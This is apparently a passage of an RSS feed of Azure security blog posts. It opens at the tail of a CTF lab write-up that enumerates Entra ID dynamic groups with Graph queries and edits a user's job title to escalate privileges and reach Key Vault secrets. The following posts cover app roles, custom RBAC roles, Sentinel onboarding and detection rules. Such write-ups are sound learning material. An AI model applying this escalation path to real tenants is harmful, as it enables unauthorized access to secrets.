automatically determined by user attributes, potentially revealing an interesting path for further privilege escalation.</p><pre>$dynamicGroups = Get-MgGroup -Filter &quot;groupTypes/any(c:c eq &#39;DynamicMembership&#39;)&quot;<br><br>foreach ($group in $dynamicGroups){<br>  $groupName = $group.DisplayName<br>  $membershipQuery = $group.MembershipRule<br>  Write-Output &quot;Group Name: $groupName, Membership Query: $membershipQuery&quot;<br><br>}<br><br># Linux equivalent<br>az rest \<br>  --method GET \<br>  --url &quot;https://graph.microsoft.com/v1.0/groups?\$filter=groupTypes/any(c:c%20eq%20%27DynamicMembership%27)&amp;\$select=id,displayName,membershipRule&quot; \<br>  --query &quot;value[].{GroupName:displayName,MembershipQuery:membershipRule}&quot; \<br>  --output table</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ki_QVzh4GOe3_8r5_-rOvw.png" /></figure><p>As shown in the screenshot above, any user whose job title is “Algorithm Administrator” is automatically added to this dynamic group. This makes the group particularly interesting, as manipulating the relevant user attribute could potentially trigger automatic membership. With that in mind, I’ll try changing my job title to “Algorithm Administrator” and then check whether this grants access to any additional resources.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gcf-jn77CjWQV3Q0Hv_EOQ.png" /></figure><p>After making the necessary changes to the Felix user, it’s important to refresh the session by logging in again. If you skip this step, the existing session may still contain the old permissions and group memberships, meaning you won’t see any of the changes reflected in the resources available to the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eRzgF3Z5GxycjrZ-qUcVJw.png" /></figure><p>Now, I attempted again to retreive the secrets and voila !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*okf4QgpoXgNDId-GfEMDTA.png" /></figure><p>I hope you enjoyed this quick walkthrough! This was actually my first cloud-focused CTF lab, and I had a great time working through it. It was also my first real experience with Microsoft Graph (MgGraph) and Azure PowerShell, so I learned a lot along the way. Overall, this lab was a great introduction to Azure security and gave me a much better understanding of how identity, permissions, dynamic groups, and administrative roles can be abused for privilege escalation.</p><h3>Attack Path</h3><pre>┌──────────────────────┐<br>│ Storage Account      │<br>│ Candidate resumes    │<br>└──────────┬───────────┘<br>           │<br>           ▼<br>┌──────────────────────┐<br>│ Default Password     │<br>│ + Username discovery │<br>└──────────┬───────────┘<br>           │<br>           ▼<br>┌──────────────────────┐<br>│ Angelina Lee         │<br>│ Valid Entra ID user  │<br>└──────────┬───────────┘<br>           │<br>           ▼<br>┌────────────────────────────┐<br>│ Administrative Unit        │<br>│ ONBOARDING-ENGINEERING     │<br>│ User Administrator role    │<br>└──────────┬─────────────────┘<br>           │<br>           ▼<br>┌──────────────────────┐<br>│ Felix                │<br>│ AU member            │<br>└──────────┬───────────┘<br>           │<br>           ▼<br>┌──────────────────────┐<br>│ Reset Felix password │<br>│ → Authenticate       │<br>└──────────┬───────────┘<br>           │<br>           ▼<br>┌──────────────────────┐<br>│ Enumerate resources  │<br>│ → Key Vault access   │<br>└──────────┬───────────┘<br>           │<br>           ▼<br>┌────────────────────────────┐<br>│ Enumerate Dynamic Groups   │<br>│ &quot;Algorithm Administrator&quot;  │<br>└──────────┬─────────────────┘<br>           │<br>           ▼<br>┌────────────────────────────┐<br>│ Modify Felix&#39;s attributes  │<br>│ → Dynamic group membership │<br>└──────────┬─────────────────┘<br>           │<br>           ▼<br>┌──────────────────────┐<br>│ New privileges /     │<br>│ additional resources │<br>└──────────────────────┘</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=06d1239fe921" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Custom line-of-business with App Roles in Azure]]></title>
            <link>https://medium.com/@byL0r3t/custom-line-of-business-with-app-roles-in-azure-274432a82340?source=rss-5672eb3b9f8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/274432a82340</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[azure]]></category>
            <dc:creator><![CDATA[byL0r3t]]></dc:creator>
            <pubDate>Mon, 14 Sep 2026 21:21:05 GMT</pubDate>
            <atom:updated>2026-09-14T21:21:05.792Z</atom:updated>
            <content:encoded><![CDATA[<h3>Custom line-of-business with App Roles in Azure</h3><h3>App Roles vs. Directory Roles</h3><p>One of the hardest steps in security management is authorization. In this section, a topic stands out: <strong>App Roles vs. Directory Roles</strong>.</p><p><strong>Directory Roles</strong> are Entra ID’s built-in, default roles, User Administrator, Global Administrator, and the rest of the pack. These roles govern the tenant itself: they exist to manage the directory, its users, its configuration, and its resources at the platform level. If a role can reset someone’s password or create a new user, it’s a directory role.</p><p><strong>App Roles</strong>, on the other hand, control the resource itself, specifically, one application’s own business logic. They’re not built in, and Entra ID doesn’t know or care what “Approver” means as a concept. You define app roles yourself, scoped to your own app, and Entra ID’s only job is to attach them to a signed-in user’s token so your app can read them and decide what that person is allowed to do inside it. A Global Administrator and an “Approver” have nothing to do with each other, one governs the tenant, the other governs a single custom app.</p><p>To make this concrete, I built a small expense-approval app with two role, Employee and Approver, and walked the whole thing through end to end.</p><h3>Creating the users</h3><p>First, two test identities: an Approver and an Employee.</p><p><strong>Creating the Approver user</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*xNS8RcAL1xabXAJDNssmmA.png" /></figure><h4>Creating the Employee user</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*jIhpbd___BcVAI4sVThbpQ.png" /></figure><p>Same process both times, Entra ID → Users → New user, just different identities so I could test both sides of the authorization logic separately.</p><h3>Registering the application</h3><p>Next, registering the app itself in Entra ID, this is what creates the application object the whole authentication flow hangs off of. I named it “Expense Approval,” set it to single-tenant (“My organization only,” since this app has no reason to serve any tenant but mine), and registered a redirect URI pointing at my local Flask server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H-pWPu8F6S9BaYM80TAGJg.png" /></figure><p>This Overview page is worth screenshotting early, the Application (client) ID and Directory (tenant) ID here are two of the three values the app needs to actually authenticate against Entra ID.</p><h3>Creating a secret for the app</h3><p>An app needs to prove its own identity to Entra ID when it exchanges an authorization code for a token, that’s what the client secret is for. Under Certificates &amp; secrets, I added a new client secret with a 6-month expiry, since this is local dev, not a production deployment that needs certificate-based auth.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aGra-Tz1x_9A6fTlrTqJGw.png" /></figure><p>The value is only shown once at creation time, so I copied it immediately into my local <em>.env </em>file, alongside the client ID and tenant ID from the previous step:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ny73lxEl4AJseP8mre4uXg.png" /></figure><p>None of this, the client ID, tenant ID, or secret, ever gets committed to the repo. It stays local, in a <em>.env</em> file that&#39;s git-ignored.</p><h3>Creating the app roles</h3><p>This is the actual point of the whole exercise: defining the two roles the app cares about. Under App roles, I created “Employee” (value: Employee, description: &quot;Can submit expenses&quot;) and &quot;Approver&quot; (value: Approver, description: &quot;Can approve or reject expenses&quot;), both restricted to Users/Groups as the allowed member type, since this app has no service-to-service use case, only human users signing in interactively.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*1EAnazDmk86SOuw8M8eBPw.png" /></figure><p>Once both roles were created, they show up together in the App roles list:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VrSzo7BdrWHAyhxlmlK9fw.png" /></figure><h3>Assigning users to roles</h3><p>App roles don’t do anything until they’re attached to real users. That assignment happens in a different blade than the one you register the app in, under <strong>Enterprise applications</strong>, not App registrations. I assigned Geralt to the Approver role:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jqhpS8r1C7n-7jmkZeV9Eg.png" /></figure><p>Worth noting: this tenant’s licensing tier doesn’t support assigning groups to app roles, only individual users, a real-world reminder that group-based role assignment (the recommended approach at scale) is a licensed Entra ID P1 feature, not something every tenant tier gets by default.</p><p>Once both users were assigned, they show up together under the app’s Users and groups list:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AgwxB16CXX4D54AVoR3UHg.png" /></figure><h3>Running the app locally</h3><p>With the Entra ID side fully wired up, I ran the Flask app locally:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JAIS8lVZ2x2N_tOoPz0MuQ.png" /></figure><p>Running locally the website:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JqcauO1cPrs1Ju4p2b7X-A.png" /></figure><p>And the homepage, unauthenticated:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*FNB72CqQOcIBDVLVabAPwA.png" /></figure><p>Signing in as Geralt (Approver)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P8UeICMJhp16MNKq7rzTCg.png" /></figure><h3>Now let’s log in as Alina (Employee)</h3><p>First, the Microsoft sign-in page itself, prompting for Alina’s credentials:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_1vje_vIirRF7QCnJf7kZQ.png" /></figure><p>And after signing in, a genuinely different experience than Geralt’s:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kiyy3X0F6O1PH1fFO4eYLA.png" /></figure><p>Same app, same URL, same login page, but the navbar itself changes shape depending entirely on which app role showed up in the signed-in user’s token. That’s the whole exercise in one screenshot: authorization happening dynamically, based on a claim Entra ID attached at sign-in, not a hardcoded UI.</p><p>Gang gang!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=274432a82340" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Creating a 500 users corporation in Azure <Part 3>]]></title>
            <link>https://medium.com/@byL0r3t/creating-a-500-users-corporation-in-azure-part-3-b4a12df4db66?source=rss-5672eb3b9f8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/b4a12df4db66</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[azure]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[byL0r3t]]></dc:creator>
            <pubDate>Thu, 20 Aug 2026 16:37:45 GMT</pubDate>
            <atom:updated>2026-08-20T16:37:45.767Z</atom:updated>
            <content:encoded><![CDATA[<h3>Custom RBAC Roles</h3><p>Every RBAC group in this environment has used a built-in Azure role so far, Contributor, Reader, Network Contributor, Security Admin, Key Vault Administrator. All of them work, but built-in roles are broad by necessity, and BOS-RBAC-Auditors is a good example of where that breadth goes further than the job actually needs. The group already holds <em>Reader </em>at subscription scope, which grants read access across effectively every resource type in Azure, far more surface area than an audit function requires. Auditors here have exactly one job: confirm tags are correct and confirm resources exist where the naming and RG structure says they should.</p><p>So instead of leaning on Reader alone, I built a custom role: BOS-RBAC-Auditors. That starts in Access control (IAM) → Add → Add custom role..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*qzVeTtpwOHRkuhpfkZ7F3w.png" /></figure><p>From there, the Permissions tab lets you search the resource provider catalog directly. Searching Microsoft.Resources/tags/read surfaces the exact action, along with its description — &quot;Gets all the tags on a resource&quot; — added as an Action rather than a Data Action, since this is a control-plane permission rather than access to data inside a resource.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XND43CEwfMp2NBCWLYAL-Q.png" /></figure><p>The finished role grants exactly three actions: Microsoft.Resources/tags/read, Microsoft.Resources/subscriptions/resourceGroups/read, and Microsoft.Resources/subscriptions/resources/read. The role description spells out what it deliberately does <em>not</em> grant — &quot;Read-only access to resource tags and metadata, no access to resource data or configuration&quot; — and the assignable scope is the subscription itself, so it can be assigned anywhere in BOS-Enterprise-Lab without needing a new role per resource group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*uEzoO0_JBVX4LVA511F65A.png" /></figure><p>Once created, assigning it is a standard role assignment — role set to BOS-Tag-Auditor, scope at the subscription, member BOS-RBAC-Auditors, sitting alongside the group&#39;s existing <em>Reader </em>assignment rather than replacing it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KQ9UM_CnE1g2OvxksSRi8g.png" /></figure><p>Worth being upfront about the reasoning: <em>Reader </em>alone would have satisfied this need without any custom role work. Building BOS-Tag-Auditor anyway is partly a deliberate demonstration of custom-role authoring, and partly a genuine application of least-privilege taken to its logical conclusion, a hand-built role granting exactly three read actions is a more literal expression of &quot;grant only what a duty requires&quot; than reusing a built-in role broad enough to cover it.</p><h4>Testing the Licensing Ceiling</h4><p>With RBAC extended, I wanted to actually test, not assume, which identity features this tenant tier could support. Four came up, and I’m documenting all four rather than only the ones that worked.</p><p><strong>PIM and Conditional Access</strong> are already covered in Parts 1 and 2: PIM needs Entra ID P2, Conditional Access needs P1, and neither is available here. Break-glass accounts and per-user MFA exist specifically to cover those gaps.</p><p><strong>Self-service group membership with owner approval</strong> was the next thing worth testing, a lighter-weight ask than full PIM, since it’s just “a user requests to join a group, an owner approves it,” no elevated licensing implied by the name. I tried configuring this on BOS-RBAC-Developers, since &quot;a developer requests dev access, a lead approves it&quot; is a realistic flow for exactly that group. The join-request/approval toggle simply wasn&#39;t exposed on this tenant&#39;s group Properties blade, not greyed out, just absent. Consistent with the same licensing pattern as PIM and Conditional Access, even though this feature isn&#39;t part of either by name.</p><h3>Admin Consent</h3><p><strong>Admin consent request workflow</strong> was the most involved to verify. To test it, I registered a throwaway Enterprise Application, BOS-Test-App, with no permissions consented yet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_VzZAHf86Vqg4hDQ8AX52Q.png" /></figure><p>Granting consent as an admin worked exactly as expected, the standard “Permissions requested… This app would like to: Sign in and read user profile” screen appeared, and accepting it granted consent for the whole organization in one action.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mntV9svH0zjsr9Pboj5MWw.png" /></figure><p>The real test was repeating the sign-in as a low-privileged user. In a fully licensed tenant, this user should hit a “Need admin approval” screen with the option to submit a request rather than just failing outright, and that part did work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-8JS07_3AHmou9J3rlassQ.png" /></figure><p>What didn’t work was the other half: the “Admin consent requests” review screen, where an admin should see and act on that pending request, didn’t surface as expected on this tenant. So the user-facing half of the workflow exists, but the admin-facing half, the part that makes it a genuine <em>workflow</em> rather than a wall, doesn’t. Worth documenting precisely rather than rounding it off to a simple yes/no.</p><p>Across all four tests, the same shape repeats: an approval-workflow or policy-engine feature is unavailable, and what shipped instead is more manual and more static, but still covers the core security outcome, per-user MFA on admin-tier groups, dedicated break-glass accounts, and RBAC scoped tightly through purpose-built groups, including custom roles like BOS-Tag-Auditors.</p><h3>Monitoring: Log Analytics and Sentinel</h3><p>With identity limits mapped out, the next layer is visibility, getting activity across the environment somewhere it can actually be reviewed. That starts with a Log Analytics workspace.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*UUI9D990zbsCOagTJE7i1A.png" /></figure><p>BOS-Security-WEU-LAW lands in BOS-GLOBAL-MONITORING-WEU-RG, West Europe, tagged the same as everything else in this environment, Company: BankOfSansretour, BusinessUnit: Security, Owner: SecurityTeam, CostCentre: SEC-001, Criticality: Tier1. With the workspace created, the next step is onboarding Microsoft Sentinel on top of it, which immediately failed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YJuyAIdCCsDXDFduGnBuBA.png" /></figure><p>The error is explicit about the cause: RequestDisallowedByPolicy, blocking the SecurityInsights resource that Sentinel auto-provisions when it onboards a workspace, tied directly back to BOS-Mandatory-Tags-Initiative. This is the tag-enforcement policy from Part 2 doing exactly what it was built to do,except this time, it’s blocking a legitimate Microsoft-managed resource rather than catching a real gap. Sentinel provisions SecurityInsights automatically as part of onboarding, and that resource doesn’t support tags being set at creation time, so it can never satisfy a policy that denies deployment on a missing tag. The fix isn’t to weaken the policy, it’s a scoped exemption for this one resource.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f6o32oMyLr66RUwxLIwhGw.png" /></figure><p>From the initiative’s assignment page, <strong>Create exemption</strong> opens the exemption blade, scoped specifically to BOS-Enterprise-Lab/BOS-GLOBAL-MONITORING-WEU-RG rather than the whole subscription.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*BhLPirvXzqw8C6L1r4js3g.png" /></figure><p>The exemption category is set to <strong>Waiver, </strong>the correct choice here, since a waiver means “this non-compliance is accepted, not resolved,” which is exactly the case: <em>SecurityInsights </em>will never carry the mandatory tags, and that’s expected, not a gap to close later. It’s set with no expiration, and the description states the reasoning plainly: “Microsoft Sentinel’s SecurityInsights resource is auto-provisioned during onboarding and does not support tag assignment at creation time.” With the exemption in place, Sentinel onboards successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*Cxf9ZjhVyutFH79fzwcQQQ.png" /></figure><p>From the Content hub, I installed two solutions to start: <strong>Azure Activity</strong>, to bring subscription-level activity logs into Sentinel, and <strong>Microsoft Defender for Cloud</strong>, to surface security posture findings alongside everything else.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o1ZKd1T6CxabJ8vhGzBQ5Q.png" /></figure><p>Installing the Azure Activity solution doesn’t automatically stream logs on its own, that connection is made through a diagnostic setting on the subscription itself, routing activity logs to the Log Analytics workspace Sentinel is built on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XTZCC7hnan9w1zPE5wLztQ.png" /></figure><p>bos-activity-to-sentinel captures both the audit and allLogs category groups, plus AllMetrics, sent to BOS-Security-WEU-LAW. With this in place, every subscription-level action in the environment, role assignments, policy changes, resource deployments, all of it, now flows into Sentinel where it can actually be reviewed, rather than sitting only in the Activity Log’s default 90-day retention with no analytics layered on top.</p><h3>Deploying the Finance App</h3><p>With monitoring in place, it was time to actually stand up the Finance app the earlier RBAC and networking design was built to support, starting with somewhere to keep its secret.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*Mu0b2u2-AtUhq2zIm-3SBA.png" /></figure><p>BOS-FIN-PROD-UKS-KV lands in BOS-FIN-PROD-KEYS-UKS-RG, UK South, with the permission model set to Azure role-based access control rather than the older vault access policy model, consistent with the RBAC-first approach the rest of this environment already follows. Public network access starts closed off by default, matching the private-endpoint pattern from the app-deployment design in Part 2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E6oV74Mpak74ZBPYzduddA.png" /></figure><p>Before the SQL server even exists, I add a placeholder secret, sql-connection-string, so the Key Vault, the App Service configuration, and the SQL server can all be built independently and wired together once each piece is ready, rather than needing everything to exist in a specific order.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*NWcU9Afh_FwRKQLRs6pOsA.png" /></figure><p>The SQL logical server, bos-fin-prod-uks-db, goes into BOS-FIN-PROD-DATA-UKS-RG, authentication set to “SQL and Microsoft Entra authentication” so the server supports both a traditional SQL login and Entra-based identity, with “Allow Azure services to access server” set to No, the server has no public path in by default, full stop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*j03xt3m2EaDbNtQGdFm0Ig.png" /></figure><p>Network access instead comes through a private endpoint, bos-fin-prod-sql-pe, targeting the SQL server’s sqlServer sub-resource, landing in the Production spoke’s ApplicationSubnet (10.50.16.0/23), the exact pattern the app-deployment design from Part 2 called for: no public SQL endpoint, private IP inside the VNet instead.</p><p>With the server actually reachable, the placeholder secret gets replaced with a real connection string:</p><pre>Driver={ODBC Driver 18 for SQL Server};Server=tcp:bos-fin-prod-uks-db.database.windows.net,1433;Database=bos-fin-prod-db;Uid=bosfinadmin;Pwd=&lt;password&gt;;Encrypt=yes;TrustServerCertificate=no;Connection Timeout=30;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VQ7EkH-5X77zvCHBVzuXAw.png" /></figure><p>The new version lands in Key Vault as a fresh version of sql-connection-string, with the previous placeholder version retained rather than overwritten, Key Vault versions secrets by default, which is useful here even in a lab: the old value stays recoverable if something in the new connection string turns out wrong.</p><p>With the data layer wired up, next came the app itself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*jg37Wl1hmsYL8EF6YiKhuQ.png" /></figure><p>bos-fin-prod-app lands in BOS-FIN-PROD-APP-UKS-RG, Python 3.12 on Linux, tagged with the full mandatory set from Part 1, <em>Company: BankOfSansretour, BusinessUnit: Finance, CostCentre: FIN-001, Criticality: Tier1, DataClassification: Confidential, Environment: Production, Owner: FinanceTeam.</em></p><p><strong>The quota wall.</strong> Getting this far was straightforward. Getting the app actually integrated into the VNet was not. VNet Integration and Private Endpoint connectivity for App Service both require at least the Basic tier, the Free (F1) tier doesn’t support either. Attempting to scale to Basic B1 hit a subscription-level compute quota of 0 vCPUs for the required regional compute family. This is a known pattern on freshly created Pay-As-You-Go subscriptions with no usage history, self-service quota increase simply wasn’t offered as an option, and the only path forward was a support ticket. Rather than block the rest of the deployment on a support queue, I kept building on F1 and treated the SQL private-endpoint connectivity as a tier-dependent limitation to resolve once quota came through, rather than a flaw in the architecture itself.</p><p>With the app running, next was identity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LGL-kQYkhV2WUiYNppS5YQ.png" /></figure><p>System-assigned managed identity, turned on directly from the App Service’s Identity blade, this gives the app its own Entra ID identity, tied to the App Service’s lifecycle, with no credential to manage or rotate manually.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sn-4wRmRwFyFj53KzYW87w.png" /></figure><p>That identity gets a role assignment on the Key Vault: Key Vault Secrets User, granted to the managed identity rather than a user or service principal, the RBAC picker resolves it under “App Service (1)” once selected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5pRbySGwbZfKvzoG89sdbA.png" /></figure><p>The finished assignment shows the scope explicitly: Key Vault Secrets User on BOS-FIN-PROD-UKS-KV, member bos-fin-prod-app typed as an App Service identity, this is the piece that lets the app read its own connection string out of Key Vault without ever holding a Key Vault access key.</p><p>App settings tie the pieces together as environment variables: WORKLOAD_NAME=Finance, WORKLOAD_CODE=FIN, WORKLOAD_THEME=Vivaldi Treasury, KEY_VAULT_URL=<a href="https://bos-fin-prod-uks-kv.vault.azure.net/">https://bos-fin-prod-uks-kv.vault.azure.net/</a>, and SQL_SECRET_NAME=sql-connection-string, the app knows where to look for its secret and which secret to ask for, but the secret value itself never appears in configuration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wB0xTLYyBz-eUD2jnNLpAQ.png" /></figure><p>Stack settings confirm Python 3.12 on the Standard release channel, with a startup command telling the container how to actually launch the app:</p><pre>gunicorn --bind=0.0.0.0 --timeout 600 app:app</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AU-G2Mfm9OZEp1yxW_l87A.png" /></figure><p>Code deployment goes through Advanced Tools (Kudu) rather than a CI/CD pipeline, since this is a one-off validation deployment rather than an app with an ongoing release cadence</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oV3nCVkgXFHMqEUO0e9Gpg.png" /></figure><p>The Kudu quickdeploy tool accepts a zip upload directly, drag, drop, done.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rMzf_Mo3FLGOmuJnOfzcQA.png" /></figure><p>Review &amp; Deploy confirms the runtime as Python 3.12, the uploaded package as bos-app-deploy.zip, and the file structure inside it, templates/index.html, app.py, requirements.txt, a minimal Flask-style app, enough to prove the full chain end to end rather than a production-grade codebase.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4JdtZDDplH6uudyxJh3hBw.png" /></figure><p>The first connection attempt failed, and the error is exactly what the architecture should have produced: Connection was denied because Deny Public Network Access is set to Yes. The SQL server is doing precisely what it was configured to do, refusing anything that isn’t coming through the private endpoint. The problem is that the Finance App Service, stuck on F1 in UK South because of the quota wall, has no VNet Integration and therefore no way to reach that private endpoint at all.</p><p><strong>The region-mismatch trade-off.</strong> The clean fix, scale to Basic once quota clears, integrate into the Production spoke, done, wasn’t available same-day. Provisioning the App Service in UK West instead would dodge the quota limit, but Azure App Service VNet Integration requires the App Service and the target VNet to sit in the <em>same</em> region, so a UK West app still can’t integrate into a UK South VNet. Standing up a second, cross-region VNet and peering it back to the hub purely to validate a connection for a resource set that would be torn down the same day wasn’t a reasonable trade. So instead, I temporarily re-enabled SQL Server network access, scoped specifically to <strong>“Allow Azure services and resources to access this server”</strong> — not opened to the public internet, just to Azure’s own service boundary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*HVub1Y5v_q91zzfjOuFhVA.png" /></figure><p>I want to be direct about what this trade-off actually is: in a persistent production environment, the cross-region VNet-and-peering approach is the correct fix, and it remains the architecturally intended path for this project. Temporarily allowing Azure services through is a narrower exposure than opening the server to the internet, but it is still a step back from “private-endpoint-only,” and it’s documented here as a deliberate, time-boxed trade-off made to validate the application chain same-day, not as the design I’d defend as final.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-9kQF1n1IJk0JXzhp_uj3Q.png" /></figure><p>With that change, the full chain, App Service → managed identity → Key Vault → SQL, connects successfully.</p><h4>Firewall, Bastion, and Detection Rules</h4><p>With the app chain validated, the last pieces from the original hub design got built out: Azure Firewall and Azure Bastion, both landing in the hub VNet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*gHLlM3_iKi5IlXcGSKhYcw.png" /></figure><p>bos-hub-uks-fwpolicy is a Standard-tier Azure Firewall in BOS-PLATFORM-NETWORK-UKS-RG, sitting in BOS-hub-prod-uks-vnet with a dedicated public IP and zone-redundant availability, this is the centralized egress and inspection point the hub-spoke design from Part 1 was always meant to route through.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*WNM9kuLbH8gQNlMtow_9NQ.png" /></figure><p>Azure Bastion, bos-hub-uks-bastion, goes into the same hub VNet’s AzureBastionSubnet, Basic tier, giving browser-based RDP/SSH access into the environment without exposing any VM to a public IP directly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ynMaEbh_Onx6LLjWWBQawg.png" /></figure><p>Finally, back in Sentinel, I enabled analytics rules from the rule template gallery, a mix of scheduled and near-real-time (NRT) rules covering activity-log-based detections: suspicious resource creation, rare subscription-level operations, subscription management changes, and Entra ID-related signals. With Azure Activity already streaming into the workspace from the diagnostic setting configured earlier, these rules are what turn that raw log stream into actual alerts rather than just a queryable archive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e4Lb3P0GDK03Ulg_EFWpeA.png" /></figure><h4>Detection: Turning Log Ingestion into Actual Alerts</h4><p>Streaming activity logs into Sentinel and installing the Azure Activity solution, from earlier in this post, gets data <em>into</em> the workspace. It doesn’t do anything with it on its own, a workspace full of logs nobody’s watching isn’t meaningfully different from no logging at all. The last piece is analytics rules: scheduled queries that actually turn that log stream into incidents worth looking at.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n_IWOduzpesSZ0fzzTKKwA.png" /></figure><p><strong>Suspicious Resource deployment.</strong> The first rule I enabled looks for resource or resource-group deployments carried out by a caller who hasn’t performed that kind of operation in the prior 14 days. This is a genuinely useful signal for an environment like this one specifically <em>because</em> of the governance work from earlier in the series, between the naming standard, the mandatory tag policies, and the RG structure, there’s now a well-defined baseline for “how resources normally get created here.” A deployment from an unfamiliar caller is exactly the kind of anomaly that baseline makes visible. Set at Low severity, since a new caller isn’t inherently malicious, someone genuinely new joining a team would trip this too, but it’s worth a look every time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7AE9rFuIsrLFm6NCeE49vA.png" /></figure><p><strong>Suspicious granting of permissions to an account.</strong> This one tracks Create role assignment operations and flags when the source IP granting that access hasn’t been seen doing so before. Out of the three, this is the rule most directly tied to the RBAC work across this whole series, Part 1’s least-privilege principles, Part 2’s scoped groups, Part 3’s custom BOS-Tag-Auditor role all assume that role assignments happen through a known, deliberate process. A role assignment coming from an IP address that’s never granted access before is precisely the kind of event that process should catch, and it’s set at Medium severity, a real signal, not just informational noise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3Wo6hWUScDJe8wXUYhmZIw.png" /></figure><p><strong>Creation of expensive computes in Azure.</strong> The third rule watches for VM deployments with unusually large size, GPU allocation, or high vCPU counts. The description names the specific risk directly: an adversary spinning up expensive compute for cryptomining, or to evade detection by scaling past what smaller, more closely monitored instances would trigger. Given this environment enforces regional restrictions through Azure Policy but doesn’t currently restrict VM SKUs, this rule is filling a real gap, nothing today stops someone (or something compromised) from deploying an expensive GPU instance in an allowed region, so catching it after the fact is the next best thing to preventing it outright.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_s4ETPQm70_GA6KSjWp25A.png" /></figure><p>Together, these three rules cover three different attack surfaces with a shared thread: each one assumes something about how this environment <em>should</em> behave, who deploys resources, who grants access, what compute typically gets provisioned, and alerts when reality diverges from that baseline. That’s a more useful detection strategy for a project this size than trying to cover every MITRE ATT&amp;CK technique from the template gallery; a handful of rules tied directly to the governance and RBAC decisions made earlier in this series catch the failure modes that actually matter here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fn9uKffMt9yLvXdiZ55Z2g.png" /></figure><p>Beyond the custom rules, the built-in <strong>Azure Activity</strong> workbook comes pre-attached to the same data source, giving a dashboard view over caller activity, operation trends, and failure/warning events without writing a single KQL query, useful for a quick daily glance rather than digging through raw logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xcOqSgsl_4pjJmg7b6gWNA.png" /></figure><p>Sentinel’s hunting queries add a third layer on top of scheduled rules and the workbook: pre-built KQL searches like 